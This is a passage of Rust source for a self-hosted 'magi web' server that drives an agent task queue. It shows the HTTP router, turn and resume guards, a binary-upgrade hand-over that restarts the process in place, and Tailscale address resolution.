878            return Err(ApiError::conflict(format!(
879                "run {id} is already being resumed"
880            )));
881        }
882        Ok(ResumeGuard {
883            run: id.to_owned(),
884            resuming: Arc::clone(&self.resuming),
885        })
886    }
887
888    /// The router, with this state baked in.
889    ///
890    /// The three front-end files get one explicit route each rather than a
891    /// path parameter, so there is no traversal surface to get wrong: the set
892    /// of servable paths is the set written here. The asset route below is the
893    /// one exception and the only place in this server where a client names a
894    /// file; it is why [`valid_asset_name`] is checked before a path is built.
895    pub fn router(self) -> Router {
896        Router::new()
897            .route("/", get(index))
898            .route("/app.css", get(app_css))
899            .route("/app.js", get(app_js))
900            .route("/api/health", get(health))
901            .route("/api/loop", get(loop_get).post(loop_post))
902            .route("/api/upgrade", post(upgrade_post))
903            .route("/api/runs", get(runs_list))
904            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
905            .route("/api/runs/{id}/report", get(run_report))
906            .route("/api/runs/{id}/report.json", get(run_report_json))
907            .route("/api/runs/{id}/fold", post(run_fold))
908            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
909            .route("/api/runs/{id}/resume", post(run_resume))
910            .route("/api/queue", get(queue_list))
911            .route("/api/search", get(search_get))
912            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
913            .route("/api/stats", get(stats_get))
914            .route("/api/repos", get(repos_list))
915            .route("/api/settings", get(settings_get))
916            .route("/api/settings/roles", put(settings_put_roles))
917            .route("/api/queue/{id}/hold", post(queue_hold))
918            .route("/api/queue/{id}/release", post(queue_release))
919            .route("/api/queue/{id}/priority", post(queue_priority))
920            .route("/api/queue/{id}/implementers", post(queue_implementers))
921            .route("/api/queue/{id}/edit", post(queue_edit))
922            .route("/api/queue/{id}/done", post(queue_done))
923            .route("/api/questions", get(questions_list))
924            .route("/api/questions/{id}/answer", post(question_answer))
925            .route("/api/questions/{id}/say", post(question_say))
926            .route("/api/questions/{id}/consult", post(question_consult))
927            .route("/api/questions/{id}/panel", get(question_panel))
928            // The same asset, reachable from inside the panel by its bare
929            // filename. A document served at `.../panel` resolves `shot.png`
930            // to `.../shot.png`, which is not the asset route, so a panel
931            // written the way its author was told to write it showed broken
932            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
933            // it - deliberately - so the fix is that the panel's own URL ends
934            // in a filename and its siblings are the assets.
935            .route("/api/questions/{id}/panel/index.html", get(question_panel))
936            .route("/api/questions/{id}/panel/{name}", get(question_asset))
937            .route("/api/questions/{id}/asset/{name}", get(question_asset))
938            .route("/api/notifications", get(notifications_list))
939            .route("/api/notifications/read-all", post(notifications_read_all))
940            .route("/api/notifications/{id}/read", post(notification_read))
941            .route(
942                "/api/notifications/{id}/dismiss",
943                post(notification_dismiss),
944            )
945            .route("/api/talks", get(talks_list).post(talk_post))
946            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
947            .route("/api/talks/{id}/say", post(talk_say))
948            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
949            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
950            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
951            .route("/api/talks/{id}/agent", post(talk_agent))
952            .route("/api/talks/{id}/persona", post(talk_persona))
953            .route("/api/talks/{id}/implementers", post(talk_implementers))
954            .route("/api/talks/{id}/close", post(talk_close))
955            .route("/api/talks/{id}/reopen", post(talk_reopen))
956            // `DefaultBodyLimit` is raised only on this one route - every
957            // other route on this server answers in a few kilobytes, and
958            // widening the crate-wide default for all of them just because
959            // one accepts a picture would let any other handler be handed
960            // a multi-megabyte body it never expects.
961            .route(
962                "/api/talks/{id}/attachments",
963                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
964            )
965            .route(
966                "/api/talks/{id}/attachments/{att}",
967                get(talk_attachment_get),
968            )
969            .route("/api/talks/{id}/avatar", get(talk_avatar))
970            .route("/avatars/operator.svg", get(operator_avatar))
971            .route("/api/events", get(events))
972            .with_state(Arc::new(self))
973    }
974}
975
976/// What a chat request is told while an upgrade is parking and the request
977/// cannot be queued as a draft.
978const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
979
980/// One talk's turn slot, released on drop.
981///
982/// A guard rather than a matching `remove` at the end of the handler, because
983/// the handler has several early returns and one `await` that can be cancelled
984/// out from under it. A leaked id is a talk nobody can talk to again.
985#[derive(Debug)]
986struct TalkTurnGuard {
987    talk: String,
988    turns: Arc<Mutex<TalkTurns>>,
989    released: bool,
990    /// The cross-process half of the slot; dropped with the guard.
991    lease: Option<crate::talk::TurnLease>,
992}
993
994/// In-memory turn ownership plus the queue generation observed by a drainer.
995///
996/// The generation changes only after a durable queued draft is written and its
997/// caller finds the turn busy. That lets the loop run filesystem work outside
998/// this mutex while still making the final empty-check/release atomic with a
999/// concurrent queue handoff.
1000#[derive(Debug, Default)]
1001struct TalkTurns {
1002    live: HashSet<String>,
1003    queued: HashMap<String, u64>,
1004    /// Set while an upgrade hand-over is parking: no turn may start, so the
1005    /// set in `live` can only shrink. Cleared again if the hand-over ends
1006    /// without exiting the process.
1007    parking: bool,
1008}
1009
1010/// The atomic initial-state decision made by
1011/// [`Ui::begin_talk_turn_unless_pending`].
1012enum TalkTurnStart {
1013    Claimed(TalkTurnGuard),
1014    Busy,
1015    /// Another process holds the turn lease. Unlike `Busy` there is no local
1016    /// drain loop that would answer a queued draft, so the caller refuses.
1017    Foreign,
1018    Pending,
1019}
1020
1021impl TalkTurnGuard {
1022    /// Does this guard still own the on-disk lease? A transient failure to
1023    /// check counts as owning: the next beat decides. A guard that lost it
1024    /// must not start another turn on the same session.
1025    fn owns(&self) -> bool {
1026        self.lease
1027            .as_ref()
1028            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1029    }
1030
1031    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1032    /// than the lease's TTL still reads as held to other processes.
1033    async fn respond(
1034        &self,
1035        talk: &mut Talk,
1036        talks: &Talks,
1037        cfg: &Config,
1038        text: &str,
1039    ) -> anyhow::Result<()> {
1040        let lease = self
1041            .lease
1042            .as_ref()
1043            .context("the turn guard no longer holds its lease")?;
1044        talk::respond(lease, talk, talks, cfg, text).await
1045    }
1046
1047    /// Release while the caller already holds the claim mutex, closing the
1048    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1049    fn release(mut self, live: &mut TalkTurns) {
1050        // The on-disk lease goes first: while `live` still names the talk, no
1051        // local claim can start, so nobody observes the slot free but the
1052        // lease held.
1053        self.lease = None;
1054        live.live.remove(&self.talk);
1055        live.queued.remove(&self.talk);
1056        self.released = true;
1057    }
1058}
1059
1060impl Drop for TalkTurnGuard {
1061    fn drop(&mut self) {
1062        if self.released {
1063            return;
1064        }
1065        // Lease first, then the in-process slot (see `release`).
1066        drop(self.lease.take());
1067        if let Ok(mut live) = self.turns.lock() {
1068            live.live.remove(&self.talk);
1069            live.queued.remove(&self.talk);
1070        }
1071    }
1072}
1073
1074/// Releases a resume claim, so a run is resumable again after the attempt.
1075struct ResumeGuard {
1076    run: String,
1077    resuming: Arc<Mutex<HashSet<String>>>,
1078}
1079
1080impl Drop for ResumeGuard {
1081    fn drop(&mut self) {
1082        if let Ok(mut live) = self.resuming.lock() {
1083            live.remove(&self.run);
1084        }
1085    }
1086}
1087
1088/// Bind the port, waiting briefly for a predecessor to let go of it.
1089///
1090/// A restart hands the address from one process to the next, and the old one
1091/// holds its listener until it unwinds. A single `bind` can lose that race,
1092/// and for a restart triggered from a phone that means the deck never comes
1093/// back with no terminal around to say why.
1094///
1095/// Bounded, and only for the one error a wait can fix: anything else fails at
1096/// once, because retrying it would turn a clear message into a silence.
1097async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1098    const WINDOW: Duration = Duration::from_secs(10);
1099    const GAP: Duration = Duration::from_millis(250);
1100
1101    let deadline = std::time::Instant::now() + WINDOW;
1102    let mut said = false;
1103    loop {
1104        match tokio::net::TcpListener::bind(socket).await {
1105            Ok(listener) => return Ok(listener),
1106            Err(e)
1107                if e.kind() == std::io::ErrorKind::AddrInUse
1108                    && std::time::Instant::now() < deadline =>
1109            {
1110                if !said {
1111                    said = true;
1112                    tracing::info!(
1113                        "{socket} is still held - waiting up to {}s for it, \
1114                         which is what a restart looks like from here",
1115                        WINDOW.as_secs()
1116                    );
1117                }
1118                tokio::time::sleep(GAP).await;
1119            }
1120            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1121        }
1122    }
1123}
1124
1125/// Signalled when an upgrade has replaced the binary and the successor should
1126/// take this address over. One per process: there is one address to hand on.
1127static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1128
1129/// Set to `1` on the successor when the loop was running at handover.
1130const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1131
1132/// Whether the environment value asks for the loop to be resumed.
1133fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1134    value.is_some_and(|v| v == "1")
1135}
1136
1137/// Start this binary again with the same arguments, detached.
1138///
1139/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1140/// so the address is already free when the successor binds it. The first
1141/// attempt at this spawned the successor two hundred milliseconds before
1142/// exiting instead, and the released binary - which has no bind retry - died
1143/// on "address already in use" with its stdio sent to null, so the deck
1144/// simply never came back.
1145///
1146/// Detached and without inherited stdio: the successor has to outlive this
1147/// process, and must not hold open a pipe a terminal is waiting on.
1148///
1149/// `resume` tells the successor to start the queue loop, through
1150/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1151/// process inherited from its own predecessor cannot leak into a generation
1152/// that should not resume. The successor's own environment keeps the variable
1153/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1154///
1155/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1156/// than sent to null: a supervisor's redirection only ever held the first
1157/// generation's descriptors, so every later generation logged nowhere. The
1158/// pid of the child is returned so the handover log can name it.
1159fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1160    let exe = std::env::current_exe().context("find this binary")?;
1161    let args: Vec<String> = std::env::args().skip(1).collect();
1162    updater::log_step(
1163        home,
1164        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1165    );
1166    let log_path = home.join(WEB_LOG);
1167    let open_log = || {
1168        std::fs::create_dir_all(home)?;
1169        std::fs::OpenOptions::new()
1170            .create(true)
1171            .append(true)
1172            .open(&log_path)
1173    };
1174    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1175        Ok(pair) => (
1176            std::process::Stdio::from(pair.0),
1177            std::process::Stdio::from(pair.1),
1178        ),
1179        Err(e) => {
1180            updater::log_warn(
1181                home,
1182                &format!(
1183                    "could not open {}: {e}; the successor logs nowhere",
1184                    log_path.display()
1185                ),
1186            );
1187            (std::process::Stdio::null(), std::process::Stdio::null())
1188        }
1189    };
1190
1191    let mut cmd = std::process::Command::new(&exe);
1192    if resume {
1193        cmd.env(RESUME_LOOP_ENV, "1");
1194    } else {
1195        cmd.env_remove(RESUME_LOOP_ENV);
1196    }
1197    cmd.args(&args)
1198        .stdin(std::process::Stdio::null())
1199        .stdout(out)
1200        .stderr(err);
1201    #[cfg(windows)]
1202    {
1203        use std::os::windows::process::CommandExt as _;
1204        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1205        // and Ctrl-C in the old terminal must not reach the successor.
1206        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1207    }
1208    let child = cmd.spawn().context("start the successor")?;
1209    Ok(child.id())
1210}
1211
1212/// File under `<home>` the successor's output is appended to.
1213const WEB_LOG: &str = "web.log";
1214
1215/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1216/// stored by an earlier `notify_one` is consumed by the first poll, so the
1217/// signal is never missed and never wakes a second time.
1218async fn wait_for_handover(signal: &Notify) {
1219    signal.notified().await;
1220}
1221
1222/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1223///
1224/// The server itself owns no state, so nothing here is graceful for the HTTP
1225/// side's sake: the connections go with the dropped listener, which costs a
1226/// phone one change-stream reconnection it was going to make anyway.
1227///
1228/// The signal branch is not optional now that the loop lives in this process.
1229/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1230/// handler is what stops the signal terminating the process - so without a
1231/// branch of our own, the first Ctrl-C after the operator started the loop
1232/// would stop the loop and leave `magi web` listening forever, unkillable
1233/// from the terminal it was started in.
1234///
1235/// What it waits for is the loop, not the sockets. A run in flight is
1236/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1237/// mid-node leaves worktrees, branches and agent sessions behind and throws
1238/// away every agent call already paid for.
1239///
1240/// The server therefore runs on a task of its own rather than inside the
1241/// `select!`: an arm that resolves *drops* the futures the other arms were
1242/// polling, so serving the address from inside one would take the deck down
1243/// at the instant the handover began and keep it down for the whole park -
1244/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1245/// owns the order.
1246pub async fn serve(opts: Opts) -> Result<()> {
1247    let (addr, warning) = resolve_bind(&opts.bind);
1248    if let Some(warning) = warning {
1249        tracing::warn!("{warning}");
1250    }
1251
1252    // Process-global, and therefore set exactly once, here: the report route
1253    // must never emit escape sequences into a browser, and toggling the flag
1254    // per request would race with a concurrent request rendering its own
1255    // report. Startup is the only moment at which no request can observe the
1256    // change. Nothing in the server turns colour back on.
1257    report::set_color(false);
1258
1259    let repo = normalize_default_repo(opts.repo).await;
1260    let ui = Ui::open(repo).with_merge(opts.merge);
1261    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1262    // home to bracket the parking and restarting stages, and `run_update_recheck`
1263    // needs both it and the repo, and by then there is no `ui` left to read
1264    // them from.
1265    let home = ui.home.clone();
1266    let repo = ui.repo.clone();
1267    // Settles a progress record a predecessor left non-terminal - either this
1268    // *is* the successor `spawn_successor` started, or the previous process
1269    // died mid-handover. Before the router starts answering, so the very
1270    // first `/api/health` a phone gets from this process already reflects it.
1271    updater::reconcile_after_restart(&home);
1272    updater::log_step(
1273        &home,
1274        &format!(
1275            "web process started (version {}); handover log {}, successor output {}",
1276            env!("CARGO_PKG_VERSION"),
1277            updater::log_path(&home).display(),
1278            home.join(WEB_LOG).display()
1279        ),
1280    );
1281    updater::spawn_watchdog(home.clone());
1282    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1283    // `spawn_update_check` does at startup only ever runs once: after that,
1284    // `/api/health`'s `update` field - and the phone's "Update & restart"
1285    // button, which reads the very same cache - would stay frozen on
1286    // whatever that single check found, no matter how many releases ship
1287    // afterwards. This keeps it current instead. Detached: it must keep
1288    // going for as long as this process serves, `serve` has nothing to await
1289    // it for, and it exits on its own the moment the process does.
1290    tokio::spawn(run_update_recheck(repo, home.clone()));
1291    let looping = ui.looping();
1292    let turns = ui.turns();
1293    let talk_store = ui.talks.clone();
1294    let socket = SocketAddr::new(addr, opts.port);
1295    let listener = bind_waiting(socket).await?;
1296    let url = format!("http://{addr}:{}", opts.port);
1297    tracing::info!(
1298        "magi web UI on {url} - there is no authentication, so anyone who can \
1299         reach this address can file and hold tasks: the tailnet is the \
1300         security boundary"
1301    );
1302    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1303        tracing::info!("resumed the loop the predecessor was running");
1304    } else {
1305        tracing::info!(
1306            "the queue loop is not running yet - start it from the UI, which is \
1307             the whole reason this process can: nothing in the queue moves until \
1308             something is running the loop"
1309        );
1310    }
1311    if opts.open {
1312        // The URL alone on stdout, for a caller that wants to open it. magi
1313        // does not spawn a browser: on the machine this usually runs on there
1314        // is no display, and a failed launch would be the only output.
1315        println!("{url}");
1316    }
1317
1318    // On its own task, so nothing this function awaits can stop the address
1319    // being answered. `hand_over` is where it is given up.
1320    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1321    let interrupted = async {
1322        if tokio::signal::ctrl_c().await.is_err() {
1323            // No handler on this platform, so there is no signal to act on.
1324            // Never resolving is the safe answer: a failed registration must
1325            // not masquerade as the operator asking for a shutdown and take
1326            // the UI down on startup.
1327            std::future::pending::<()>().await;
1328        }
1329    };
1330    let handover = wait_for_handover(&HANDOVER);
1331    let outcome = tokio::select! {
1332        joined = &mut served => match joined {
1333            Ok(outcome) => outcome.context("serve the web UI"),
1334            Err(e) => Err(e).context("the task serving the web UI ended"),
1335        },
1336        () = interrupted => {
1337            tracing::info!("shutting down the web UI");
1338            finish_loop(&home, &looping, None).await;
1339            Ok(())
1340        }
1341        () = handover => {
1342            updater::log_step(&home, "serve: the select! woke on the handover signal");
1343            let successor_home = home.clone();
1344            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1345            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1346                spawn_successor(&successor_home, resume)
1347            })
1348            .await
1349        }
1350    };
1351    updater::log_step(
1352        &home,
1353        &match &outcome {
1354            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1355            Err(e) => format!("serve: returning an error: {e:#}"),
1356        },
1357    );
1358    outcome
1359}
1360
1361/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1362/// process's own working directory is not a git checkout at all - the
1363/// checkout [`repos::discover_verified`] finds instead.
1364///
1365/// Only the unmodified default is ever replaced: an operator who named a
1366/// directory outright, git checkout or not, gets exactly that directory
1367/// back, and the same story downstream (a talk whose briefing embeds a
1368/// non-git directory, and an agent that has to ask the operator where the
1369/// real repository is) that has always told them so - substituting a guess
1370/// for an explicit answer would be a second, silent opinion about what they
1371/// meant. There is no instruction or task text yet to match against this
1372/// early, so only [`repos::discover_verified`]'s own-repository tier can
1373/// ever settle this - the hint tier never fires here.
1374///
1375/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1376/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1377/// or a git installation that is broken in exactly the way that made the
1378/// original `canonical` check above fail too - so it is re-checked with
1379/// `git::toplevel` before it is ever used in place of the operator's own
1380/// directory.
1381async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1382    if repo != FsPath::new(".") {
1383        return repo;
1384    }
1385    let Ok(canonical) = repo.canonicalize() else {
1386        return repo;
1387    };
1388    if git::toplevel(&canonical).await.is_ok() {
1389        return repo;
1390    }
1391    let Some(home) = dirs::home_dir() else {
1392        return repo;
1393    };
1394    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1395        Some(found) => {
1396            tracing::info!(
1397                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1398                canonical.display(),
1399                found.path.display(),
1400                found.reason,
1401            );
1402            found.path
1403        }
1404        None => repo,
1405    }
1406}
1407
1408/// Park the loop, then release the address, then start the successor.
1409///
1410/// The order is the whole function, and each step is answerable to a failure
1411/// this arrangement has already had:
1412///
1413/// 1. **Park.** The loop was asked to stop by the request that replaced the
1414///    binary, and this waits for it, because killing the graph mid-node
1415///    leaves worktrees, branches and agent sessions behind and throws away
1416///    every agent call already paid for. It takes as long as the node in
1417///    flight - up to `timeout_implement`, an hour by default - and the deck
1418///    goes on answering for all of it, which is the reason `served` is a task
1419///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1420///    first upgrade from a phone that caught a run mid-implement dropped the
1421///    listener the moment it was asked to, and the operator got
1422///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1423///    waiting on and nothing but a process list to say the run was alive.
1424/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1425///    the join resolves only once the task's future has been dropped, so the
1426///    listener is released before the next line. Connections it already
1427///    accepted are served on tasks of their own and wind down asynchronously;
1428///    on some platforms (macOS) they can briefly keep the address busy, and
1429///    the successor's `bind_waiting` absorbs that.
1430/// 3. **Start the successor**, which binds the address this process has just
1431///    let go of - see [`spawn_successor`] for what the other order cost.
1432///
1433/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1434/// reporting, not part of the design: it exists so `/api/health` can say
1435/// "parking, waiting on run X" instead of leaving the phone to guess why the
1436/// deck went quiet, and dropping it would not change the order above.
1437async fn hand_over(
1438    home: &FsPath,
1439    looping: &Mutex<LoopState>,
1440    turns: &Arc<Mutex<TalkTurns>>,
1441    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1442    served: tokio::task::JoinHandle<std::io::Result<()>>,
1443    successor: impl FnOnce(bool) -> Result<u32>,
1444) -> Result<()> {
1445    updater::log_step(home, "hand_over: entered; writing the parking stage");
1446    // The lease and the stage are written as one step, so a reader that sees
1447    // `parking` also finds the proof that hand_over is alive. Dropped on
1448    // every way out.
1449    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1450    if !recorded {
1451        updater::log_warn(
1452            home,
1453            "hand_over: upgrade.json is unreadable; no parking stage",
1454        );
1455    }
1456    // Chat stays open while the loop parks: nothing restarts until it ends,
1457    // and the park can last as long as a node. Only once it is done is the
1458    // slot closed, right before the restart; a turn started earlier is in
1459    // `live` by then, so `finish_talks` waits for it.
1460    finish_loop(home, looping, Some(&mut lease)).await;
1461    let parking = ParkingTurns::begin(turns);
1462    let talks_done = finish_talks(home, turns, talk_wait);
1463    tokio::pin!(talks_done);
1464    let mut beat = tokio::time::interval(LEASE_BEAT);
1465    let (abandoned, waited_for) = loop {
1466        tokio::select! {
1467            left = &mut talks_done => break left,
1468            _ = beat.tick() => lease.beat(),
1469        }
1470    };
1471    drop(lease);
1472    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1473    served.abort();
1474    let _ = served.await;
1475    updater::log_step(home, "hand_over: listener released");
1476    // Read last: the deck answers for the whole park, so an operator's stop
1477    // during the wait must still be honoured by the successor.
1478    let resume = lock_or_recover(looping).resume_after_handover;
1479    match updater::read_progress(home) {
1480        Some(mut progress) => {
1481            progress.advance(updater::Stage::Restarting);
1482            if !abandoned.is_empty() {
1483                progress.detail = Some(format!(
1484                    "handed over while {} still running after {} s",
1485                    updater::talks_phrase(&abandoned),
1486                    waited_for.as_secs()
1487                ));
1488            }
1489            updater::write_progress_logged(home, &progress);
1490        }
1491        None => updater::log_warn(
1492            home,
1493            "hand_over: upgrade.json is unreadable; no restarting stage",
1494        ),
1495    }
1496    updater::log_step(
1497        home,
1498        &format!("hand_over: starting the successor (resume={resume})"),
1499    );
1500    drop(parking);
1501    match successor(resume) {
1502        Ok(pid) => {
1503            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1504            Ok(())
1505        }
1506        Err(e) => {
1507            updater::log_warn(
1508                home,
1509                &format!("hand_over: the successor did not start: {e:#}"),
1510            );
1511            Err(e)
1512        }
1513    }
1514}
1515
1516/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1517/// a turn that runs its full timeout still needs a moment to record its answer.
1518const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1519
1520/// How often the park looks at the chat turns still running.
1521const TALK_POLL: Duration = Duration::from_millis(250);
1522
1523/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1524/// grace. Beyond it a stuck turn must not block the hand-over.
1525fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1526    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1527}
1528
1529/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1530/// the repositories those talks run in (each turn uses its own talk's
1531/// configuration), plus the grace. A talk or config that cannot be read counts
1532/// with the default timeout.
1533fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1534    let default = Config::default().graph.timeout_talk;
1535    let longest = ids
1536        .iter()
1537        .map(|id| {
1538            talks
1539                .get(id)
1540                .ok()
1541                .and_then(|t| Config::discover(&t.repo, None).ok())
1542                .map_or(default, |(c, _)| c.graph.timeout_talk)
1543        })
1544        .max()
1545        .unwrap_or(default);
1546    talk_wait_bound(longest)
1547}
1548
1549/// Stops new chat turns for as long as it lives, so the hand-over only ever
1550/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1551/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1552struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1553
1554impl ParkingTurns {
1555    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1556        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1557        Self(Arc::clone(turns))
1558    }
1559}
1560
1561impl Drop for ParkingTurns {
1562    fn drop(&mut self) {
1563        self.0
1564            .lock()
1565            .unwrap_or_else(PoisonError::into_inner)
1566            .parking = false;
1567    }
1568}
1569
1570/// Wait until no chat turn is running in this process, for at most the longest
1571/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1572/// running when the bound was hit (empty when the turns finished) with the
1573/// bound that applied, after saying so in the upgrade log.
1574async fn finish_talks(
1575    home: &FsPath,
1576    turns: &Mutex<TalkTurns>,
1577    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1578) -> (Vec<String>, Duration) {
1579    let running = || {
1580        let mut ids: Vec<String> = turns
1581            .lock()
1582            .unwrap_or_else(PoisonError::into_inner)
1583            .live
1584            .iter()
1585            .cloned()
1586            .collect();
1587        // A turn another task of this process (the daemon's completion
1588        // notice) or another process runs holds only the on-disk lease.
1589        let talks = talk::Talks::at(home.join("talks"));
1590        for t in talks.list() {
1591            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1592                ids.push(t.id);
1593            }
1594        }
1595        ids.sort();
1596        ids
1597    };
1598    let started = std::time::Instant::now();
1599    let mut seen = Vec::new();
1600    let mut bound = Duration::ZERO;
1601    loop {
1602        let ids = running();
1603        if ids != seen {
1604            bound = bound.max(bound_for(&ids));
1605            if ids.is_empty() {
1606                updater::log_step(home, "finish_talks: no chat turn is running");
1607            } else {
1608                updater::log_step(
1609                    home,
1610                    &format!(
1611                        "finish_talks: waiting for {} to finish",
1612                        updater::talks_phrase(&ids)
1613                    ),
1614                );
1615            }
1616            updater::set_parked_talks(home, &ids);
1617            seen = ids;
1618        }
1619        if seen.is_empty() {
1620            return (Vec::new(), bound);
1621        }
1622        if started.elapsed() >= bound {
1623            updater::log_warn(
1624                home,
1625                &format!(
1626                    "finish_talks: {} still running after {} s; handing over anyway",
1627                    updater::talks_phrase(&seen),
1628                    bound.as_secs()
1629                ),
1630            );
1631            return (seen, bound);
1632        }
1633        tokio::time::sleep(TALK_POLL).await;
1634    }
1635}
1636
1637/// How often `finish_loop` renews the handover lease; well inside
1638/// [`updater::LEASE_TTL_SECS`].
1639const LEASE_BEAT: Duration = Duration::from_secs(20);
1640
1641/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1642///
1643/// The wait is the whole function. Returning from `serve` while a graph is
1644/// mid-node ends the process with worktrees, branches and agent sessions left
1645/// behind and every agent call in that run paid for and thrown away, which is
1646/// exactly what the daemon's own shutdown refuses to do.
1647async fn finish_loop(
1648    home: &FsPath,
1649    state: &Mutex<LoopState>,
1650    mut lease: Option<&mut updater::LeaseGuard>,
1651) {
1652    let live = lock_or_recover(state).live.take();
1653    let Some(live) = live else {
1654        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1655        return;
1656    };
1657    live.stop.stop();
1658    lock_or_recover(state).rev += 1;
1659    updater::log_step(
1660        home,
1661        "finish_loop: waiting for the loop to finish the run in flight",
1662    );
1663    let waited = std::time::Instant::now();
1664    // The task records its own outcome and logs it, so there is nothing to do
1665    // with a join error here but stop waiting.
1666    let mut handle = live.handle;
1667    let mut beat = tokio::time::interval(LEASE_BEAT);
1668    loop {
1669        tokio::select! {
1670            _ = &mut handle => break,
1671            _ = beat.tick() => {
1672                if let Some(lease) = lease.as_deref_mut() {
1673                    lease.beat();
1674                }
1675            }
1676        }
1677    }
1678    updater::log_step(
1679        home,
1680        &format!(
1681            "finish_loop: the loop ended after {:.1}s",
1682            waited.elapsed().as_secs_f32()
1683        ),
1684    );
1685}
1686
1687/// Resolve `--bind` to an address, plus a warning when the answer is not what
1688/// the operator asked for.
1689///
1690/// Split out from [`serve`] because the interesting half - deciding whether
1691/// Tailscale gave us something usable - is testable without opening a socket.
1692pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1693    match bind {
1694        Bind::Addr(addr) => (*addr, None),
1695        Bind::Auto => match tailscale_ip() {
1696            Ok(ip) => (IpAddr::V4(ip), None),
1697            Err(why) => (
1698                IpAddr::V4(Ipv4Addr::LOCALHOST),
1699                Some(format!(
1700                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1701                     local-only and a phone cannot reach it; start Tailscale \
1702                     or pass --bind <addr>"
1703                )),
1704            ),
1705        },
1706    }
1707}
1708
1709/// This machine's Tailscale IPv4, or why there is not one.
1710///
1711/// `tailscale ip -4` is a local call against the running daemon and returns in
1712/// milliseconds, so it is fine to make it synchronously before the server
1713/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1714/// CGNAT block Tailscale assigns from, and anything else on that output would
1715/// be a different tool answering.
1716fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1717    let out = std::process::Command::new("tailscale")
1718        .args(["ip", "-4"])
1719        .quiet()
1720        .output()
1721        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1722    if !out.status.success() {
1723        let why = String::from_utf8_lossy(&out.stderr);
1724        let why = why.trim();
1725        return Err(format!(
1726            "`tailscale ip -4` failed ({}){}",
1727            out.status,
1728            if why.is_empty() {
1729                String::new()
1730            } else {
1731                format!(": {why}")
1732            }
1733        ));
1734    }
1735    String::from_utf8_lossy(&out.stdout)
1736        .lines()
1737        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1738        .find(is_tailnet)
1739        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1740}
1741
1742/// Is this address in the CGNAT block Tailscale hands out from?
1743fn is_tailnet(ip: &Ipv4Addr) -> bool {
1744    let o = ip.octets();
